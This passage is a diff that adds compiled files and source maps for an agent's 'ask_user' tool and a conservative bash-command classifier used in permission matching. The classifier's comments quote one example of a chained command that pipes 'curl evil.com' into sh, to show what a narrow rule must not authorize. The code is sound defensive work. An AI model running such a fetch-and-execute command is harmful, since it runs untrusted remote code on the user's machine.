+ options: Type.TArray<Type.TString>;
23
+ }>, AskUserDetails>;
24
+ export {};
25
+ //# sourceMappingURL=ask-user.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"ask-user.d.ts","sourceRoot":"","sources":["../../../src/core/tools/ask-user.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,KAAK,MAAM,EAAE,IAAI,EAAE,MAAM,SAAS,CAAC;AAC5C,OAAO,KAAK,EAAE,kBAAkB,EAAE,MAAM,eAAe,CAAC;AAGxD,QAAA,MAAM,aAAa;;;EAGjB,CAAC;AAEH,MAAM,MAAM,YAAY,GAAG,MAAM,CAAC,OAAO,aAAa,CAAC,CAAC;AAExD,MAAM,WAAW,cAAc;IAC9B,QAAQ,EAAE,MAAM,CAAC;IACjB,MAAM,EAAE,MAAM,GAAG,SAAS,CAAC;CAC3B;AAMD;;;;;;GAMG;AACH,wBAAgB,2BAA2B,IAAI,kBAAkB,CAAC,OAAO,aAAa,EAAE,cAAc,CAAC,CAoCtG;AAED,wBAAgB,iBAAiB;;;oBAEhC","sourcesContent":["import type { AgentToolResult } from \"apex-code-agent-core\";\nimport { type Static, Type } from \"typebox\";\nimport type { ApexToolDefinition } from \"./contract.ts\";\nimport { wrapToolDefinition } from \"./tool-definition-wrapper.ts\";\n\nconst askUserSchema = Type.Object({\n\tquestion: Type.String({ description: \"The question to ask the user.\" }),\n\toptions: Type.Array(Type.String(), { description: \"The choices to present to the user.\" }),\n});\n\nexport type AskUserInput = Static<typeof askUserSchema>;\n\nexport interface AskUserDetails {\n\tquestion: string;\n\tanswer: string | undefined;\n}\n\nfunction formatAnswer(answer: string | undefined): string {\n\treturn answer !== undefined ? `User selected: ${answer}` : \"User did not answer (question was dismissed).\";\n}\n\n/**\n * The `ui` capability's first implementor: a structured question presented through\n * the same `ctx.ui` extensions already use (`ExtensionUIContext.select`). Headless\n * sessions (`--print`, JSON, RPC without a bound UI) install a no-op `ui` whose\n * `select` silently resolves `undefined` -- indistinguishable from a user dismissing\n * the question unless this checks `ctx.hasUI` first and fails closed instead.\n */\nexport function createAskUserToolDefinition(): ApexToolDefinition<typeof askUserSchema, AskUserDetails> {\n\treturn {\n\t\tname: \"ask_user\",\n\t\tlabel: \"ask_user\",\n\t\tdescription: \"Ask the user a structured question with a fixed set of options and wait for their answer.\",\n\t\tparameters: askUserSchema,\n\t\tcontract: {\n\t\t\tcapabilities: new Set([\"ui\"]),\n\t\t\tpermission: {\n\t\t\t\tdefaultBehavior: \"allow\",\n\t\t\t\tmatches: () => false,\n\t\t\t\tdescribe: () => \"Asking the user a question\",\n\t\t\t\truleForCall: () => null,\n\t\t\t},\n\t\t\tcontext: { resultRecoverable: false, deferSchema: true },\n\t\t\tevidence: { emits: new Set(), capture: () => [] },\n\t\t},\n\t\tasync execute(\n\t\t\t_toolCallId,\n\t\t\t{ question, options }: AskUserInput,\n\t\t\t_signal,\n\t\t\t_onUpdate,\n\t\t\tctx,\n\t\t): Promise<AgentToolResult<AskUserDetails>> {\n\t\t\tif (!ctx?.hasUI) {\n\t\t\t\tthrow new Error(\n\t\t\t\t\t\"ask_user requires interactive UI, which is not available in this session (headless mode).\",\n\t\t\t\t);\n\t\t\t}\n\t\t\tconst answer = await ctx.ui.select(question, options);\n\t\t\treturn {\n\t\t\t\tcontent: [{ type: \"text\", text: formatAnswer(answer) }],\n\t\t\t\tdetails: { question, answer },\n\t\t\t};\n\t\t},\n\t};\n}\n\nexport function createAskUserTool() {\n\treturn wrapToolDefinition(createAskUserToolDefinition());\n}\n"]}
@@ -0,0 +1,49 @@
1
+ import { Type } from "typebox";
2
+ import { wrapToolDefinition } from "./tool-definition-wrapper.js";
3
+ const askUserSchema = Type.Object({
4
+ question: Type.String({ description: "The question to ask the user." }),
5
+ options: Type.Array(Type.String(), { description: "The choices to present to the user." }),
6
+ });
7
+ function formatAnswer(answer) {
8
+ return answer !== undefined ? `User selected: ${answer}` : "User did not answer (question was dismissed).";
9
+ }
10
+ /**
11
+ * The `ui` capability's first implementor: a structured question presented through
12
+ * the same `ctx.ui` extensions already use (`ExtensionUIContext.select`). Headless
13
+ * sessions (`--print`, JSON, RPC without a bound UI) install a no-op `ui` whose
14
+ * `select` silently resolves `undefined` -- indistinguishable from a user dismissing
15
+ * the question unless this checks `ctx.hasUI` first and fails closed instead.
16
+ */
17
+ export function createAskUserToolDefinition() {
18
+ return {
19
+ name: "ask_user",
20
+ label: "ask_user",
21
+ description: "Ask the user a structured question with a fixed set of options and wait for their answer.",
22
+ parameters: askUserSchema,
23
+ contract: {
24
+ capabilities: new Set(["ui"]),
25
+ permission: {
26
+ defaultBehavior: "allow",
27
+ matches: () => false,
28
+ describe: () => "Asking the user a question",
29
+ ruleForCall: () => null,
30
+ },
31
+ context: { resultRecoverable: false, deferSchema: true },
32
+ evidence: { emits: new Set(), capture: () => [] },
33
+ },
34
+ async execute(_toolCallId, { question, options }, _signal, _onUpdate, ctx) {
35
+ if (!ctx?.hasUI) {
36
+ throw new Error("ask_user requires interactive UI, which is not available in this session (headless mode).");
37
+ }
38
+ const answer = await ctx.ui.select(question, options);
39
+ return {
40
+ content: [{ type: "text", text: formatAnswer(answer) }],
41
+ details: { question, answer },
42
+ };
43
+ },
44
+ };
45
+ }
46
+ export function createAskUserTool() {
47
+ return wrapToolDefinition(createAskUserToolDefinition());
48
+ }
49
+ //# sourceMappingURL=ask-user.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"ask-user.js","sourceRoot":"","sources":["../../../src/core/tools/ask-user.ts"],"names":[],"mappings":"AACA,OAAO,EAAe,IAAI,EAAE,MAAM,SAAS,CAAC;AAE5C,OAAO,EAAE,kBAAkB,EAAE,MAAM,8BAA8B,CAAC;AAElE,MAAM,aAAa,GAAG,IAAI,CAAC,MAAM,CAAC;IACjC,QAAQ,EAAE,IAAI,CAAC,MAAM,CAAC,EAAE,WAAW,EAAE,+BAA+B,EAAE,CAAC;IACvE,OAAO,EAAE,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,MAAM,EAAE,EAAE,EAAE,WAAW,EAAE,qCAAqC,EAAE,CAAC;CAC1F,CAAC,CAAC;AASH,SAAS,YAAY,CAAC,MAA0B,EAAU;IACzD,OAAO,MAAM,KAAK,SAAS,CAAC,CAAC,CAAC,kBAAkB,MAAM,EAAE,CAAC,CAAC,CAAC,+CAA+C,CAAC;AAAA,CAC3G;AAED;;;;;;GAMG;AACH,MAAM,UAAU,2BAA2B,GAA6D;IACvG,OAAO;QACN,IAAI,EAAE,UAAU;QAChB,KAAK,EAAE,UAAU;QACjB,WAAW,EAAE,2FAA2F;QACxG,UAAU,EAAE,aAAa;QACzB,QAAQ,EAAE;YACT,YAAY,EAAE,IAAI,GAAG,CAAC,CAAC,IAAI,CAAC,CAAC;YAC7B,UAAU,EAAE;gBACX,eAAe,EAAE,OAAO;gBACxB,OAAO,EAAE,GAAG,EAAE,CAAC,KAAK;gBACpB,QAAQ,EAAE,GAAG,EAAE,CAAC,4BAA4B;gBAC5C,WAAW,EAAE,GAAG,EAAE,CAAC,IAAI;aACvB;YACD,OAAO,EAAE,EAAE,iBAAiB,EAAE,KAAK,EAAE,WAAW,EAAE,IAAI,EAAE;YACxD,QAAQ,EAAE,EAAE,KAAK,EAAE,IAAI,GAAG,EAAE,EAAE,OAAO,EAAE,GAAG,EAAE,CAAC,EAAE,EAAE;SACjD;QACD,KAAK,CAAC,OAAO,CACZ,WAAW,EACX,EAAE,QAAQ,EAAE,OAAO,EAAgB,EACnC,OAAO,EACP,SAAS,EACT,GAAG,EACwC;YAC3C,IAAI,CAAC,GAAG,EAAE,KAAK,EAAE,CAAC;gBACjB,MAAM,IAAI,KAAK,CACd,2FAA2F,CAC3F,CAAC;YACH,CAAC;YACD,MAAM,MAAM,GAAG,MAAM,GAAG,CAAC,EAAE,CAAC,MAAM,CAAC,QAAQ,EAAE,OAAO,CAAC,CAAC;YACtD,OAAO;gBACN,OAAO,EAAE,CAAC,EAAE,IAAI,EAAE,MAAM,EAAE,IAAI,EAAE,YAAY,CAAC,MAAM,CAAC,EAAE,CAAC;gBACvD,OAAO,EAAE,EAAE,QAAQ,EAAE,MAAM,EAAE;aAC7B,CAAC;QAAA,CACF;KACD,CAAC;AAAA,CACF;AAED,MAAM,UAAU,iBAAiB,GAAG;IACnC,OAAO,kBAAkB,CAAC,2BAA2B,EAAE,CAAC,CAAC;AAAA,CACzD","sourcesContent":["import type { AgentToolResult } from \"apex-code-agent-core\";\nimport { type Static, Type } from \"typebox\";\nimport type { ApexToolDefinition } from \"./contract.ts\";\nimport { wrapToolDefinition } from \"./tool-definition-wrapper.ts\";\n\nconst askUserSchema = Type.Object({\n\tquestion: Type.String({ description: \"The question to ask the user.\" }),\n\toptions: Type.Array(Type.String(), { description: \"The choices to present to the user.\" }),\n});\n\nexport type AskUserInput = Static<typeof askUserSchema>;\n\nexport interface AskUserDetails {\n\tquestion: string;\n\tanswer: string | undefined;\n}\n\nfunction formatAnswer(answer: string | undefined): string {\n\treturn answer !== undefined ? `User selected: ${answer}` : \"User did not answer (question was dismissed).\";\n}\n\n/**\n * The `ui` capability's first implementor: a structured question presented through\n * the same `ctx.ui` extensions already use (`ExtensionUIContext.select`). Headless\n * sessions (`--print`, JSON, RPC without a bound UI) install a no-op `ui` whose\n * `select` silently resolves `undefined` -- indistinguishable from a user dismissing\n * the question unless this checks `ctx.hasUI` first and fails closed instead.\n */\nexport function createAskUserToolDefinition(): ApexToolDefinition<typeof askUserSchema, AskUserDetails> {\n\treturn {\n\t\tname: \"ask_user\",\n\t\tlabel: \"ask_user\",\n\t\tdescription: \"Ask the user a structured question with a fixed set of options and wait for their answer.\",\n\t\tparameters: askUserSchema,\n\t\tcontract: {\n\t\t\tcapabilities: new Set([\"ui\"]),\n\t\t\tpermission: {\n\t\t\t\tdefaultBehavior: \"allow\",\n\t\t\t\tmatches: () => false,\n\t\t\t\tdescribe: () => \"Asking the user a question\",\n\t\t\t\truleForCall: () => null,\n\t\t\t},\n\t\t\tcontext: { resultRecoverable: false, deferSchema: true },\n\t\t\tevidence: { emits: new Set(), capture: () => [] },\n\t\t},\n\t\tasync execute(\n\t\t\t_toolCallId,\n\t\t\t{ question, options }: AskUserInput,\n\t\t\t_signal,\n\t\t\t_onUpdate,\n\t\t\tctx,\n\t\t): Promise<AgentToolResult<AskUserDetails>> {\n\t\t\tif (!ctx?.hasUI) {\n\t\t\t\tthrow new Error(\n\t\t\t\t\t\"ask_user requires interactive UI, which is not available in this session (headless mode).\",\n\t\t\t\t);\n\t\t\t}\n\t\t\tconst answer = await ctx.ui.select(question, options);\n\t\t\treturn {\n\t\t\t\tcontent: [{ type: \"text\", text: formatAnswer(answer) }],\n\t\t\t\tdetails: { question, answer },\n\t\t\t};\n\t\t},\n\t};\n}\n\nexport function createAskUserTool() {\n\treturn wrapToolDefinition(createAskUserToolDefinition());\n}\n"]}
@@ -0,0 +1,22 @@
1
+ /**
2
+ * Decomposes a bash command string into the individual commands a shell would
3
+ * actually run, for permission matching (ADR 0004). A rule authorizes a chained
4
+ * command only if every resulting segment matches — so a narrow rule like
5
+ * `git commit:*` can never authorize `git commit -m x && curl evil.com | sh`.
6
+ *
7
+ * Classification is deliberately conservative: any construct the tokenizer does
8
+ * not fully model — command substitution, backticks, process substitution, an
9
+ * unterminated quote — returns "unparseable" rather than a partial or best-effort
10
+ * segment list. A caller must never treat "unparseable" as "no segments" (which
11
+ * would vacuously authorize the call); it must resolve to `ask`.
12
+ */
13
+ export type BashCommandClassification = {
14
+ type: "empty";
15
+ } | {
16
+ type: "unparseable";
17
+ } | {
18
+ type: "segments";
19
+ segments: readonly string[];
20
+ };
21
+ export declare function classifyBashCommand(command: string): BashCommandClassification;
22
+ //# sourceMappingURL=bash-command-segments.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"bash-command-segments.d.ts","sourceRoot":"","sources":["../../../src/core/tools/bash-command-segments.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAEH,MAAM,MAAM,yBAAyB,GAClC;IAAE,IAAI,EAAE,OAAO,CAAA;CAAE,GACjB;IAAE,IAAI,EAAE,aAAa,CAAA;CAAE,GACvB;IAAE,IAAI,EAAE,UAAU,CAAC;IAAC,QAAQ,EAAE,SAAS,MAAM,EAAE,CAAA;CAAE,CAAC;AAIrD,wBAAgB,mBAAmB,CAAC,OAAO,EAAE,MAAM,GAAG,yBAAyB,CAsH9E","sourcesContent":["/**\n * Decomposes a bash command string into the individual commands a shell would\n * actually run, for permission matching (ADR 0004). A rule authorizes a chained\n * command only if every resulting segment matches — so a narrow rule like\n * `git commit:*` can never authorize `git commit -m x && curl evil.com | sh`.\n *\n * Classification is deliberately conservative: any construct the tokenizer does\n * not fully model — command substitution, backticks, process substitution, an\n * unterminated quote — returns \"unparseable\" rather than a partial or best-effort\n * segment list. A caller must never treat \"unparseable\" as \"no segments\" (which\n * would vacuously authorize the call); it must resolve to `ask`.\n */\n\nexport type BashCommandClassification =\n\t| { type: \"empty\" }\n\t| { type: \"unparseable\" }\n\t| { type: \"segments\"; segments: readonly string[] };\n\nconst ESCAPABLE_IN_DOUBLE_QUOTES = new Set([\"$\", \"`\", '\"', \"\\\\\", \"\\n\"]);\n\nexport function classifyBashCommand(command: string): BashCommandClassification {\n\tconst segments: string[] = [];\n\tlet current = \"\";\n\tlet quote: '\"' | \"'\" | undefined;\n\tlet i = 0;\n\tconst n = command.length;\n\n\tconst pushSegment = (): void => {\n\t\tconst trimmed = current.trim();\n\t\tif (trimmed) segments.push(trimmed);\n\t\tcurrent = \"\";\n\t};\n\n\twhile (i < n) {\n\t\tconst ch = command[i];\n\t\tconst next = command[i + 1];\n\n\t\tif (quote === \"'\") {\n\t\t\t// Single quotes are fully literal in bash: no escaping, no substitution.\n\t\t\tif (ch === \"'\") {\n\t\t\t\tquote = undefined;\n\t\t\t\tcurrent += ch;\n\t\t\t\ti++;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tcurrent += ch;\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\n\t\t// Command/backtick substitution is live both unquoted and inside double\n\t\t// quotes — only single quotes suppress it. Checked before double-quote\n\t\t// escape handling so an unrecognized-in-bash backslash pairing can never\n\t\t// hide a real substitution trigger from this check.\n\t\tif (ch === \"$\" && next === \"(\") return { type: \"unparseable\" };\n\t\tif (ch === \"`\") return { type: \"unparseable\" };\n\t\tif (quote === undefined && ch === \"<\" && next === \"(\") return { type: \"unparseable\" };\n\t\tif (quote === undefined && ch === \">\" && next === \"(\") return { type: \"unparseable\" };\n\n\t\tif (quote === '\"') {\n\t\t\tif (ch === '\"') {\n\t\t\t\tquote = undefined;\n\t\t\t\tcurrent += ch;\n\t\t\t\ti++;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (ch === \"$\") return { type: \"unparseable\" };\n\t\t\tif (ch === \"\\\\\" && next !== undefined && ESCAPABLE_IN_DOUBLE_QUOTES.has(next)) {\n\t\t\t\tcurrent += ch + next;\n\t\t\t\ti += 2;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tcurrent += ch;\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\n\t\t// Unquoted.\n\t\tif (ch === \"'\" || ch === '\"') {\n\t\t\tquote = ch;\n\t\t\tcurrent += ch;\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"\\\\\" && next !== undefined) {\n\t\t\tcurrent += ch + next;\n\t\t\ti += 2;\n\t\t\tcontinue;\n\t\t}\n\t\t// These forms make a seemingly read-only command perform I/O, expand into\n\t\t// different arguments, or introduce grammar this deliberately small parser\n\t\t// cannot prove safe. A permission rule must never authorize them by prefix.\n\t\tif (\n\t\t\tch === \"<\" ||\n\t\t\tch === \">\" ||\n\t\t\tch === \"$\" ||\n\t\t\tch === \"{\" ||\n\t\t\tch === \"}\" ||\n\t\t\tch === \"(\" ||\n\t\t\tch === \")\" ||\n\t\t\tch === \"*\" ||\n\t\t\tch === \"?\" ||\n\t\t\tch === \"[\" ||\n\t\t\tch === \"]\" ||\n\t\t\tch === \"~\"\n\t\t) {\n\t\t\treturn { type: \"unparseable\" };\n\t\t}\n\t\tif (ch === \"\\n\" || ch === \";\") {\n\t\t\tpushSegment();\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"&\" && next === \"&\") {\n\t\t\tpushSegment();\n\t\t\ti += 2;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"|\" && next === \"|\") {\n\t\t\tpushSegment();\n\t\t\ti += 2;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"|\" || ch === \"&\") {\n\t\t\tpushSegment();\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\n\t\tcurrent += ch;\n\t\ti++;\n\t}\n\n\tif (quote !== undefined) return { type: \"unparseable\" }; // unterminated quote\n\n\tpushSegment();\n\n\treturn segments.length === 0 ? { type: \"empty\" } : { type: \"segments\", segments };\n}\n"]}
@@ -0,0 +1,128 @@
1
+ /**
2
+ * Decomposes a bash command string into the individual commands a shell would
3
+ * actually run, for permission matching (ADR 0004). A rule authorizes a chained
4
+ * command only if every resulting segment matches — so a narrow rule like
5
+ * `git commit:*` can never authorize `git commit -m x && curl evil.com | sh`.
6
+ *
7
+ * Classification is deliberately conservative: any construct the tokenizer does
8
+ * not fully model — command substitution, backticks, process substitution, an
9
+ * unterminated quote — returns "unparseable" rather than a partial or best-effort
10
+ * segment list. A caller must never treat "unparseable" as "no segments" (which
11
+ * would vacuously authorize the call); it must resolve to `ask`.
12
+ */
13
+ const ESCAPABLE_IN_DOUBLE_QUOTES = new Set(["$", "`", '"', "\\", "\n"]);
14
+ export function classifyBashCommand(command) {
15
+ const segments = [];
16
+ let current = "";
17
+ let quote;
18
+ let i = 0;
19
+ const n = command.length;
20
+ const pushSegment = () => {
21
+ const trimmed = current.trim();
22
+ if (trimmed)
23
+ segments.push(trimmed);
24
+ current = "";
25
+ };
26
+ while (i < n) {
27
+ const ch = command[i];
28
+ const next = command[i + 1];
29
+ if (quote === "'") {
30
+ // Single quotes are fully literal in bash: no escaping, no substitution.
31
+ if (ch === "'") {
32
+ quote = undefined;
33
+ current += ch;
34
+ i++;
35
+ continue;
36
+ }
37
+ current += ch;
38
+ i++;
39
+ continue;
40
+ }
41
+ // Command/backtick substitution is live both unquoted and inside double
42
+ // quotes — only single quotes suppress it. Checked before double-quote
43
+ // escape handling so an unrecognized-in-bash backslash pairing can never
44
+ // hide a real substitution trigger from this check.
45
+ if (ch === "$" && next === "(")
46
+ return { type: "unparseable" };
47
+ if (ch === "`")
48
+ return { type: "unparseable" };
49
+ if (quote === undefined && ch === "<" && next === "(")
50
+ return { type: "unparseable" };
51
+ if (quote === undefined && ch === ">" && next === "(")
52
+ return { type: "unparseable" };
53
+ if (quote === '"') {
54
+ if (ch === '"') {
55
+ quote = undefined;
56
+ current += ch;
57
+ i++;
58
+ continue;
59
+ }
60
+ if (ch === "$")
61
+ return { type: "unparseable" };
62
+ if (ch === "\\" && next !== undefined && ESCAPABLE_IN_DOUBLE_QUOTES.has(next)) {
63
+ current += ch + next;
64
+ i += 2;
65
+ continue;
66
+ }
67
+ current += ch;
68
+ i++;
69
+ continue;
70
+ }
71
+ // Unquoted.
72
+ if (ch === "'" || ch === '"') {
73
+ quote = ch;
74
+ current += ch;
75
+ i++;
76
+ continue;
77
+ }
78
+ if (ch === "\\" && next !== undefined) {
79
+ current += ch + next;
80
+ i += 2;
81
+ continue;
82
+ }
83
+ // These forms make a seemingly read-only command perform I/O, expand into
84
+ // different arguments, or introduce grammar this deliberately small parser
85
+ // cannot prove safe. A permission rule must never authorize them by prefix.
86
+ if (ch === "<" ||
87
+ ch === ">" ||
88
+ ch === "$" ||
89
+ ch === "{" ||
90
+ ch === "}" ||
91
+ ch === "(" ||
92
+ ch === ")" ||
93
+ ch === "*" ||
94
+ ch === "?" ||
95
+ ch === "[" ||
96
+ ch === "]" ||
97
+ ch === "~") {
98
+ return { type: "unparseable" };
99
+ }
100
+ if (ch === "\n" || ch === ";") {
101
+ pushSegment();
102
+ i++;
103
+ continue;
104
+ }
105
+ if (ch === "&" && next === "&") {
106
+ pushSegment();
107
+ i += 2;
108
+ continue;
109
+ }
110
+ if (ch === "|" && next === "|") {
111
+ pushSegment();
112
+ i += 2;
113
+ continue;
114
+ }
115
+ if (ch === "|" || ch === "&") {
116
+ pushSegment();
117
+ i++;
118
+ continue;
119
+ }
120
+ current += ch;
121
+ i++;
122
+ }
123
+ if (quote !== undefined)
124
+ return { type: "unparseable" }; // unterminated quote
125
+ pushSegment();
126
+ return segments.length === 0 ? { type: "empty" } : { type: "segments", segments };
127
+ }
128
+ //# sourceMappingURL=bash-command-segments.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"bash-command-segments.js","sourceRoot":"","sources":["../../../src/core/tools/bash-command-segments.ts"],"names":[],"mappings":"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","sourcesContent":["/**\n * Decomposes a bash command string into the individual commands a shell would\n * actually run, for permission matching (ADR 0004). A rule authorizes a chained\n * command only if every resulting segment matches — so a narrow rule like\n * `git commit:*` can never authorize `git commit -m x && curl evil.com | sh`.\n *\n * Classification is deliberately conservative: any construct the tokenizer does\n * not fully model — command substitution, backticks, process substitution, an\n * unterminated quote — returns \"unparseable\" rather than a partial or best-effort\n * segment list. A caller must never treat \"unparseable\" as \"no segments\" (which\n * would vacuously authorize the call); it must resolve to `ask`.\n */\n\nexport type BashCommandClassification =\n\t| { type: \"empty\" }\n\t| { type: \"unparseable\" }\n\t| { type: \"segments\"; segments: readonly string[] };\n\nconst ESCAPABLE_IN_DOUBLE_QUOTES = new Set([\"$\", \"`\", '\"', \"\\\\\", \"\\n\"]);\n\nexport function classifyBashCommand(command: string): BashCommandClassification {\n\tconst segments: string[] = [];\n\tlet current = \"\";\n\tlet quote: '\"' | \"'\" | undefined;\n\tlet i = 0;\n\tconst n = command.length;\n\n\tconst pushSegment = (): void => {\n\t\tconst trimmed = current.trim();\n\t\tif (trimmed) segments.push(trimmed);\n\t\tcurrent = \"\";\n\t};\n\n\twhile (i < n) {\n\t\tconst ch = command[i];\n\t\tconst next = command[i + 1];\n\n\t\tif (quote === \"'\") {\n\t\t\t// Single quotes are fully literal in bash: no escaping, no substitution.\n\t\t\tif (ch === \"'\") {\n\t\t\t\tquote = undefined;\n\t\t\t\tcurrent += ch;\n\t\t\t\ti++;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tcurrent += ch;\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\n\t\t// Command/backtick substitution is live both unquoted and inside double\n\t\t// quotes — only single quotes suppress it. Checked before double-quote\n\t\t// escape handling so an unrecognized-in-bash backslash pairing can never\n\t\t// hide a real substitution trigger from this check.\n\t\tif (ch === \"$\" && next === \"(\") return { type: \"unparseable\" };\n\t\tif (ch === \"`\") return { type: \"unparseable\" };\n\t\tif (quote === undefined && ch === \"<\" && next === \"(\") return { type: \"unparseable\" };\n\t\tif (quote === undefined && ch === \">\" && next === \"(\") return { type: \"unparseable\" };\n\n\t\tif (quote === '\"') {\n\t\t\tif (ch === '\"') {\n\t\t\t\tquote = undefined;\n\t\t\t\tcurrent += ch;\n\t\t\t\ti++;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (ch === \"$\") return { type: \"unparseable\" };\n\t\t\tif (ch === \"\\\\\" && next !== undefined && ESCAPABLE_IN_DOUBLE_QUOTES.has(next)) 